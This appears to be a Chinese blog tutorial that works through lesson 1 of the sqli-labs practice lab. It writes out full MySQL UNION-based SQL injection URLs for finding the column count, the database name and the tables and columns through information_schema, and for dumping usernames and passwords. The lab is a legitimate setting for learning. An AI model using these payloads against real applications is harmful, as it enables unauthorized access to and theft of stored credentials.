通过sqli-labs学习SQL注入(1)

环境搭建

具体搭建请自行百度

sqli-labs第一关

通过sqli-labs学习SQL注入(1)
通过sqli-labs学习SQL注入(1)
通过sqli-labs学习SQL注入(1)

在后面输入?id=1

可以看到返回的页面出现了帐户和密码,当然,你会发现改为id=2id=3会出现不同的帐户和密码,虽然这就是我们最终要拿到的数据,但是我们应该通过SQL注入的方式来得到它。

具体流程:

  1. 先确定是字符型注入还是整型注入
    像这种?id=1的,后台会将id这个变量的值接受并组合成数据库查询语句,比如这里可能会这样"select * from 表名 where id=1"如果是这样的格式,那么就说明是整型;如果是select * from 表名 where id='1',那么就是字符型。当然,一般情况下我们是看不到源代码的,但是这里是学习,我们就先对照源码来看看到底是怎么处理的,关键代码:"SELECT* FROM users WHERE id='$id' LIMIT 0,1"可以看到这是字符型注入。
  2. 猜字段数
    关键语法:order by
    在变量id后面加上 order by 1
    因为是字符型注入,那么"http://192.168.155.128/sqli-l... order by 1"被后台接受后,会组合成SELECT * FROM users WHERE id='1 order by 1' LIMIT 0,1,语法错误,我们应该构造成"SELECT * FROM users WHERE id='1' order by 1#' LIMIT 0,1" 所以应该在id=后面加上1' order by 1#,也就是"http://192.168.155.128/sqli-l...' order by 1#"
    回车后会发现报错了,这是因为我们没有对url中的#号进行url编码,使用hackerbar插件编码后"http://192.168.155.128/sqli-l...' order by 1%23",接下来就是慢慢试出它的字段数,最后会发现order by 3正常,order by 4错误,说明一共是3列。
  3. 通过联合查询查出当前用户,数据库名等信息
    注意:此方法只是用户mysql 5.0以上版本
    将url改成"http://192.168.155.128/sqli-l...' UNION SELECT 1,2,3%23"回车后发现并没有显示出数字,这是因为php中的mysql_fetch_array函数,这时候只需要把union左边的等式改为假就行,这里我把id=1改为id=-1,可以看到数字出来了通过sqli-labs学习SQL注入(1)
    2和3这两个数字都可以用,我们这里就使用3吧。一个一个显示太麻烦了,这里我们可以用数据库的连接函数concat_ws,hackbar插件有现成的,使用后,url变成了"http://192.168.155.128/sqli-l...'UNION SELECT 1,2,CONCAT_WS(CHAR(32,58,32),user(),database(),version())%23"
    可以看到显示出了数据库名security。
  4. 查询数据库中的表
    有了数据库名,就可以通过information_schema.tables得到表名,"http://192.168.155.128/sqli-l...' UNION SELECT 1,2,table_name from information_schema.tables where table_schema='security'%23" 在最后加上limit 0,1逐个猜出表名。最终得到users,当然,猜出来的其他表名也可以把里面的数据爆出来,这里我们只需要users里的数据。
  5. 通过表名得到列名
    通过information_schema.columns得到表名,"http://192.168.155.128/sqli-l...' UNION SELECT 1,2,column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1%23",然后逐个得到列名分别是id,username,password
  6. 枚举用户名和密码
    "http://192.168.155.128/sqli-l...' UNION SELECT 1,2,CONCAT_WS(CHAR(32,58,32),id,username,password) from users limit 0,1%23"

总结

在mysql5.0以上版本中,可以通过information_schema获取到当前数据库名,再通过数据库名拿到表名,再通过表名拿到列名,最后得到想要的数据。

相关推荐